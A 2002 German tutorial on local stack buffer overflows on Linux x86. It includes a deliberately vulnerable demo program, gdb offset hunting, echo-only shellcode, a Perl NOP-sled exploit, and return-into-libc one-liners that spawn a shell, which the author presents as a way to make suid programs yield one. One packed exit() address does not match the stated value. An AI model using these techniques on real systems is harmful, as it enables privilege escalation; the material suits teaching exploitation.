@2002 websec.org Version 0.1 2002 Martin Eiszner (mei@websec.org) http://www.websec.org (sorry, but this document is written in german. an english version will be available in the near future) *** "Lokale stackbasierende Bufferueberlaeufe - FAST AND EASY GOING" *** I Einleitung Dieses Dokument behandelt Methoden, die das schnelle Erstellen von sogenannten "Proof of Concept" Exploits fuer lokale und "stack-basierende" Bufferueberlaeufe einfacher machen.Alle Beispiele sind fuer Linux basierende X86, ELF, "little endian" Systeme geschrieben. Fuer eine Einfuehrung und generelle Infos ueber Buefferueberlaeufe gibt es eine Reihe von Links am Ende dieses Dokuments. Viele der hier beschriebenen Methoden wurden bereits in der einen oder anderen Form in verschiedensten "Whitepapers" niedergeschrieben. Lieder habe ich (fast) keine deutschen "Whitepapers" zu diesen Themen gefunden. Das Dokument beschaeftigt sich NICHT mit Formatstring- und Heap(aAe.)- basierenden Ueberlaeufen. Dafuer wird es in Zukunft ein dementsprechendes "FollowUp" geben. Der Autor gibt keine Garantie auf Vollstaendigkeit und 100%ige Richtigkeit. *** Was wir als erstes benoetigen ist ein Demo-Programm(natuerlich mit einem ungesicherten buffer): bad.c ---cut here--- int function(char *string) { char foovar[256]; strcpy(foovar, string); printf("got (%s)\n",foovar); return 25; } int main(int argc, char **argv) { int i=0; if (argc > 1) function(argv[1]); printf("game over\n"); return 222; } ---cut here--- Wir wissen was jetzt passieren wird: ---*--- bash$ ./bad hoschi got (hoschi) game over bash$ bad `perl -e 'print "A"x300;'` got (AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) Segmentation fault ---*--- Wir haben den zuerst "foovar" ueberschrieben, dann EBP(base pointer), und schliesslich auch noch EIP(instruction pointer). Das Etappenziel ist erreicht. (Wenn du jetzt noch nicht weisst, wofuer das gut sein soll, dann verfolge bitte einen oder mehrere Links am Ende dieses Dokuments) Mit gdb's Hilfe bestimmen wir jetzt die exakte Laenge des Strings, die notwendig ist um EIP zu ueberschreiben. ---*--- bash$ gdb bad [gdb banner] (gdb) run `perl -e 'print "A"x257;'` Starting program: /home/mei/h/docs/german/bad `perl -e 'print "A"x257;'` got (AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) game over Program received signal SIGSEGV, Segmentation fault. 0x80484b2 in main () (gdb) info registers [crap] ebp 0xbfff0041 0xbfff0041 esi 0x40015d64 1073831268 edi 0xbffff704 -1073744124 eip 0x80484b2 0x80484b2 [crap] x/20x $esp [crap] (gdb) 0xbffff814: 0x00000064 0x0000000f 0xbffff831 0x00000000 0xbffff824: 0x00000000 0x00000000 0x00000000 0x38366900 0xbffff834: 0x682f0036 0x2f656d6f 0x2f69656d 0x6f642f68 0xbffff844: 0x672f7363 0x616d7265 0x61622f6e 0x41410064 0xbffff854: 0x41414141 0x41414141 0x41414141 0x41414141 (gdb) 0xbffff864: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff874: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff884: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff894: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff8a4: 0x41414141 0x41414141 0x41414141 0x41414141 (gdb) [more crap] ---*--- (nicht dass ihr das nicht wuesstet...aber hex(41)=A ... ) Nach ein paar Versuchen.. ---*--- Starting program: /home/mei/h/docs/german/bad `perl -e 'print "A"x256,"HGFEAAAA";'` got (AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HGFEAAAA) Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) i r $ebp $eip ebp 0x45464748 0x45464748 eip 0x41414141 0x41414141 (gdb) ---*--- (auch das wisst ihr sicher ... AAAA EFGH ist hex: "41414141 45464748") Es ist vollbracht. 264 Characters ueberlaufen EBP und EIP total (256 + 8). Jetzt zu den einfachen und noch einfacheren Exploit-Methoden.. II Methoden Generelles Wie bereits in der Einleitung erwaehnt. Dieses Dokument beschreibt nur Methoden, die der Autor fuer schnell und effizient haelt. Es beschaeftigst sich unter Anderen nicht mit dem Ueberschreiben der GOT, dem Ueberschreiben der stop()-Adresse in .dtors oder dem Errechnen der Adresse der letzten Environment Variable (mittels 0xBFFFFFFA-strlen(progname)- strlen(envp[n])) .. und den vielen anderen Methoden am Markt :-). Jede Methode hat ihre Vor- und Nachteile. Bitte keine Flames in der Art "Methode X ist ja viel besser weil ....). Ich konzentriere mich in erster Linie darauf schnell und effizient zu sein. Der Shellcode Sofern notwendig verwenden wir fuer alle Exploits folgenden shellcode: (Aus Faulheit produziert mit shellxp von teso = http://www.team-teso.at) ---cut here--- "\xeb\x1f\x5f\x89\xfc\x66\xf7\xd4\x31\xc0\x8a\x07" "\x47\x57\xae\x75\xfd\x88\x67\xff\x48\x75\xf6\x5b" "\x53\x50\x5a\x89\xe1\xb0\x0b\xcd\x80\xe8\xdc\xff" "\xff\xff\x03\x69\x68\x61\x76\x65\x79\x6f\x75\x6e" "\x6f\x77\x03\x2d\x65\x02\x2f\x62\x69\x6e\x2f\x65" "\x63\x68\x6f\x01"; ---cut here--- (Dieser Shellcode gibt nur "ihaveyounow" aus .. das sollte als "Proof of Concept" reichen :-) (Fuer detailliertere Informationen ueber das Erstellen von Shellcode bitte einen oder mehrere der Links am Ende des Dokuments verfolgen) a) Der Klassiker Die bekannteste Methode. Erstmals vor "einigen" Jahren ausfuehrlich von Aleph (smashing the stack for fun and profit) beschrieben. Der einzige Unterschied hier ist, dass wir Perl fuer den Exploitcode verwenden werden. Warum Perl? .. na ja .. darum! Wir wissen bereits, dass wir mit 256+8 Characters den EIP ueberschrieben haben. Was nun? Nach der klassischen Methode sollte die sogenannte "Payload" (der Ueberlaufstring?) in etwa so aussehen: Totale Bufferlaenge = TBL = 256+8 No operation Command(NOP) fuer unsere Architektur = N = 0x90 Schellcode = S R = ReturnAdresse = R (mit einem Offset / Spaeter mehr zum Thema Offset) Buffer TBL = [NNNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSSSSRRRRRRRR] Unser vorrangiges Ziel ist es jetzt die Returnadresse(n) (R) moeglichst innerhalb der NOPs (N) zeigen zu lassen. Buffer TBL = [NNNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSSSSRRRRRRRR] ^ v | | --------------------------------- (Natuerlich darf der Buffer keine Nullbytes enthalten!) Fuer das Exploit benoetigen wir eine ESP-Adresse. Diese koennen wir (zumindest kurz vor dem Segfault mit Hilfe des gdb herausfinden: ---*--- $bash> gdb bad [crap] (gdb) break main Breakpoint 1 at 0x804847a (gdb) run `perl -e 'print "A"x264;'` Starting program: /home/mei/h/docs/german/bad `perl -e 'print "A"x264;'` Breakpoint 1, 0x804847a in main () ---*--- "info registers $esp" liefert uns die Adresse. ---*--- (gdb) i r $esp esp 0xbffff674 0xbffff674 (gdb) ---*--- ... voila ... Anm.: In einem klassischen C-Exploit wuerden wir die "momentane" Addresse von ESP folgendermassen bestimmen: ---cut here--- unsigned long getesp() { __asm__("movl %esp, %eax"); } ---cut here--- .. Thats it .. jetzt unser Demo-Exploit in Perl. Es sollte ausreichend dokumentiert sein. badexploit.pl ---cut here--- #!/usr/bin/perl # # Bufferueberlauf Demo-Exploit # zu DemoProg bad.c mit Hilfe # der klassischen Methode # Der Ueberlaufbuffer $payload = ""; # Der folgende Shellcode(sc) wird, bei erfolgreicher Ausfuehrung # "ihaveyounow" ausgeben. $sc = "\xeb\x1f\x5f\x89\xfc\x66\xf7\xd4\x31\xc0\x8a\x07". "\x47\x57\xae\x75\xfd\x88\x67\xff\x48\x75\xf6\x5b". "\x53\x50\x5a\x89\xe1\xb0\x0b\xcd\x80\xe8\xdc\xff". "\xff\xff\x03\x69\x68\x61\x76\x65\x79\x6f\x75\x6e". "\x6f\x77\x03\x2d\x65\x02\x2f\x62\x69\x6e\x2f\x65". "\x63\x68\x6f\x01"; # Die Bufferlaenge (von payload) $len = 256 + 8; # Jetzt die geschaetzte Adresse des ESP # kurz bevor der Segfault passiert # unser kleiner Unsicherheitsfaktor $ret = 0xbffff674; # Unser Wert fuer NoOperation NOP $nop = "\x90"; # Das Offset mit dem wir hoffentlich ohne # allzuviele Versuche mitten in die NOPs treffen # werden. Das Offset ist von einigen Faktoren abhaengig. # Die intensive Nutzung von gdb kann helfen brute- # force Methoden weitgehend zu minimieren. $offset = 500; # Das offset muss oft per brute-force herausgefunden werden # und inst von vielen faktoren abhaengig (stack waehrend execution # time / am besten mit gdb -> break (kurz vor funktion) -> x/20x $esp # usw die NOPs (0x90) hinterlassen eine klare spur - vergleich ESP mit # den adressen der NOPs ... etc. # Daher ... es wird uns nicht erspart bleiben, ein bischen mit dem Offset # zu spielen. if ($ARGV[0] > 0) { $offset = $ARGV[0]; } # Zuerst mal mit NOPs gefuellt # die "-100" sind natuerlich von der Laenge des # Shellcodes(sc) abhaengig, variabel und ein bischen geschaetzt. # Natuerlich koennte man hier auch sagen: # anzahl NOPs = bufferlaenge - shellcodelaenge - 8 # um ganz genau zu sein for ($i=0; $i<($len-length($sc)-100); $i++) { $payload .= $nop; } # .. Dann der Shellcode $payload .= $sc; # Wir koennten jetzt die Returnadresse mit dem dazugehoerigen # Offset ausgeben .. natuerlich nur zu Infozwecken, sonst stehts # ja in der payload ! # #print ("\n0x", sprintf('%lx',($ret+$offset)), "\n\n"); # Die Adresse muss natuerlich "binaer" ausgegeben werden. # Wir konvertieren sie mittels pack in einen "signed long", # das bekannterweise (4 Bytes=2 Words=Adresslaenge) lang ist. # das sind dann diese eigenartig aussehenden zeichenketten :-) $binret = pack("l", ($ret+$offset)); # Jetzt noch die neue Returnadresse ein "paar mal" an unseren # exploit-buffer (=payload) anhaengen ... natuerlich so lange bis er voll ist. for ($i += length($sc); $i<$len; $i+=4) { $payload .= $binret; } print $payload; # Das sollte es gewesen sein # In unserem beispiel koennen wir das Exploit jetzt mit: # $shell> bad `./badexploit.pl` # testen # Das ist von Prog zu Prog verschieden und natuerlich # koennte man das Prog auch hier drinnen mittels system # oder was auch immer aufrufen..... ---cut here--- Nach mehr oder weniger Versuchen (je nach offset ..): ---*--- bash$ bad `./badexploit.pl 500` got ([crap removed ...]) ihaveyounow ---*--- Wie man sieht kann man mit dieser Methode bereits sehr viel erreichen. Allerdings ist es nicht immer so leicht wie hier, richtige Werte fuer Offsets und die Retour- Adresse im generellen zu finden. Anm.: Fuer "stack smashing" - Remoteexploits ist diese Methode trotzdem noch die Nr. I. Wir wollen uns heute allerdings mit lokalen Problemen beschaeftigen. Deswegen werdet ihr jetzt vielleicht gerne ein Auge auf diese(meine bevorzugte) Methode fuer lokale- und stackbasierende Bufferueberlaeufe werfen: b) Methode Environment-Variablen und/oder "Easy Return into Libc" b.1.) Shellcode ins Environment Zuerst mal kreieren wir eine Variable. Obwohl theoretisch nicht notwendig, ist es doch sinnvoll den Shellcode mit jeder Menge NOPs zu versehen. So kann man ihn mit dem debugger dann viel leichter finden: ---*--- export MUNGO=`perl -e 'print "\x90"x100,"\xeb\x1f\x5f\x89\xfc\x66\xf7\xd4\x31\xc0\x8a \x07\x47\x57\xae\x75\xfd\x88\x67\xff\x48 \x75\xf6\x5b\x53\x50\x5a\x89\xe1\xb0\x0b \xcd\x80\xe8\xdc\xff\xff\xff\x03\x69\x68 \x61\x76\x65\x79\x6f\x75\x6e\x6f\x77\x03 \x2d\x65\x02\x2f\x62\x69\x6e\x2f\x65\x63 \x68\x6f\x01";'` ---*--- Anm.: Natuerlich kann man den Shellcode auch mittels Script oder Programm im Environment unter- bringen. Jetzt kommt wieder der Debugger ins Spiel: ---*--- bash$ gdb bad (gdb) break main Breakpoint 1 at 0x804847a (gdb) run Starting program: /home/mei/h/docs/german/bad Breakpoint 1, 0x804847a in main () (gdb) x/20x $esp 0xbffff6d4: 0x0804960c 0xbffff6f8 0x4004f138 0x4012ba58 0xbffff6e4: 0x4000ba90 0xbffff708 0xbffff728 0x4003d2eb 0xbffff6f4: 0x00000001 0xbffff754 0xbffff75c 0x080484ec 0xbffff704: 0x00000000 0xbffff728 0x4003d2bd 0x400157f4 0xbffff714: 0x00000001 0x08048350 0xbffff754 0x4003d230 ---*--- Jetzt durch den ganzen Krempel blaettern, bis wir unsere NOP Signatur(0x90) finden: ---*--- 0xbfffff24: 0x73326a2f 0x2e316b64 0x2f302e34 0x2f6e6962 0xbfffff34: 0x4e554d00 0x903d4f47 0x90909090 0x90909090 (gdb) 0xbfffff44: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffff54: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffff64: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffff74: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffff84: 0x90909090 0x90909090 0x90909090 0x90909090 (gdb) 0xbfffff94: 0x90909090 0x90909090 0xeb909090 0xfc895f1f 0xbfffffa4: 0x31d4f766 0x47078ac0 0xfd75ae57 0x48ff6788 ---*--- Leicht zu finden. Jetzt waehlen wir eine Adresse mitten in den NOPs. Als Beispiel: "0xbfffff64" Wie wir wissen kommt nach den NOPs unser guter Shellcode. Wie waere es also, ganz einfach die Returnadresse dorthin zu verbiegen !?!. ---*--- bash$ bad `perl -e 'print "\x64\xff\xff\xbf"x66;'` [crap] ihaveyounow ---*--- Erster Versuch -> Direct Hit -> tataaa. Das war ganz schoen einfach :-) Was haben wir getan? Wir haben ganz einfach den ganzen Buffer (laenge 264) mit der vorher gefundenen Adresse(0xbfffff64), die irgendwo mitten in die NOPs im Stack zeigte, gefuellt. Jede Adresse benoetigt 4 Bytes. 264/4=66. So haben wir 66 mal die Adresse in den Buffer geschrieben. Die Adresse muss natuerlich in "little endian" format geschrieben werden (Mehr dazu, wenn man einen oder mehrere Links am Ende dieses Dokuments verfolgt). *** Jetzt zur meist noch schenlleren und auch sinnvolleren Variante. In den meisten Faellen will ich ganz einfach ein suid-Programm dazu veranlassen, mir eine Shell zu erzeugen. Anstatt den Shellcode im Environment unterzubringen, kann man jetzt folgendes tun: Unterbringen der "Payload" im Environment: ---*--- export MUNGO=`perl -e 'print "../"x100,"bin/ksh";'` ---*--- Man beachte die "../". Es ist nichts anderes als unsere NOPs im vorigen Beispiel Mit Hilfe dieser Signatur, kann ich die Variable leichter beim Debuggen ausfindig machen. Non wieder der Debugger angeworfen und der Stack inspiziert (Genau wie beim vorigen Beispiel): ---*--- bash$ gdb bad (gdb) break main Breakpoint 1 at 0x804847a (gdb) run Starting program: /home/mei/h/docs/german/bad Breakpoint 1, 0x804847a in main () (gdb) x/20x $esp [crap] 0xbffffea4: 0x554d002f 0x3d4f474e 0x2e2f2e2e 0x2e2e2f2e (gdb) 0xbffffeb4: 0x2f2e2e2f 0x2e2f2e2e 0x2e2e2f2e 0x2f2e2e2f 0xbffffec4: 0x2e2f2e2e 0x2e2e2f2e 0x2f2e2e2f 0x2e2f2e2e 0xbffffed4: 0x2e2e2f2e 0x2f2e2e2f 0x2e2f2e2e 0x2e2e2f2e 0xbffffee4: 0x2f2e2e2f 0x2e2f2e2e 0x2e2e2f2e 0x2f2e2e2f 0xbffffef4: 0x2e2f2e2e 0x2e2e2f2e 0x2f2e2e2f 0x2e2f2e2e (gdb) 0xbfffff04: 0x2e2e2f2e 0x2f2e2e2f 0x2e2f2e2e 0x2e2e2f2e [crap] ---*--- Wir wissen jetzt, dass wir bei "0xbffffed4" unsere Payload finden. (Natuerlich wissen das alle .. aber .. 0x2e0x2e0x2f = "../") Jetzt suchen wir uns eine libc-Funktion wie zBsp.: "system" oder "execve". Wenn wir diese mit einem Pointer zu unserer Payload versorgen koennen, haben wir unser Ziel erreicht. ---*--- bash$ gdb bad (gdb) break main Breakpoint 1 at 0x804847a (gdb) run Starting program: /home/mei/h/docs/german/bad Breakpoint 1, 0x804847a in main () (gdb) p system $1 = {} 0x40068870 <__libc_system> (gdb) ---*--- Gefunden, "0x40068870" ist die Adresse, mit der wir unsere Returnadresse ueberschreiben werden. ---*--- bash$ bad `perl -e 'print "\x70\x88\x06\x40"x66","AAAA","\xd4\xfe\xff\xbf"'` got (lots of [crap]) ksh$ ---*--- Yepp .. Aber was haben wir getan? Wir haben den kompletten Buffer mit der Adresse von system ueberschrieben. Anschliessen eine Dummyadresse als Returnadresse fuer unsere eigene Funktion ("AAAA") geschrieben, und dann den Pointer auf unsere "Payload" (Alle Adressen natuerlich im "little endian" format) geschrieben. Nachdem wir obige Shell wieder verlassen, erhalten wir eine "Segfault". Das ruehrt daher, dass die Returnadresse unserer Funktion nach "AAAA" zeigt. Dort wird allerdings nichts zu finden sein. Wie auch immer. Fuer die Perfektionisten (zu denen ich ganz bestimmt nicht gehoere :-): ---*--- bash$ gdb bad (gdb) break main Breakpoint 1 at 0x804847a (gdb) run Starting program: /home/mei/h/docs/german/bad Breakpoint 1, 0x804847a in main () (gdb) p exit $1 = {void (int)} 0x4004efe0 ---*--- So .. wenn wir diese Adresse ("0x4004efe0" ) anstatt der Dummy-Returnadresse verwenden, gibt das ein sauberes Exploit ohne Segfault: ---*--- bash$ bad `perl -e 'print "\x70\x88\x06\x40"x66","\x0e\xef\x04\x40","\xd4\xfe\xff\xbf"'` got (lots of [crap]) ksh$ exit bash$ ---*--- Verglichen mit den klassischen Methoden sind diese hier schnell und auch sicherer. Man vergleiche dazu das "klassische" Exploit und den "Einzeiler" am Schluss! Sollte bei neueren Shells die Methode mit "system" nicht funktionieren, empfiehlt sich die Verwendung von "execve" stattdessen. Natuerlich uebernimmt der Autor keine Gewaehr auf Richtigkeit der Informationen und Methoden, die in diesem Dokument beschrieben wurden. EOF-mei@websec.org Linkliste: http://www.phrack.org/phrack/49/P49-14 http://www.team-teso.net http://www.bursztein.net/secu/rilc.html http://www.drpaulcarter.com/pcasm/ uVaM. EOF-mei@websec.org / http://www.websec.org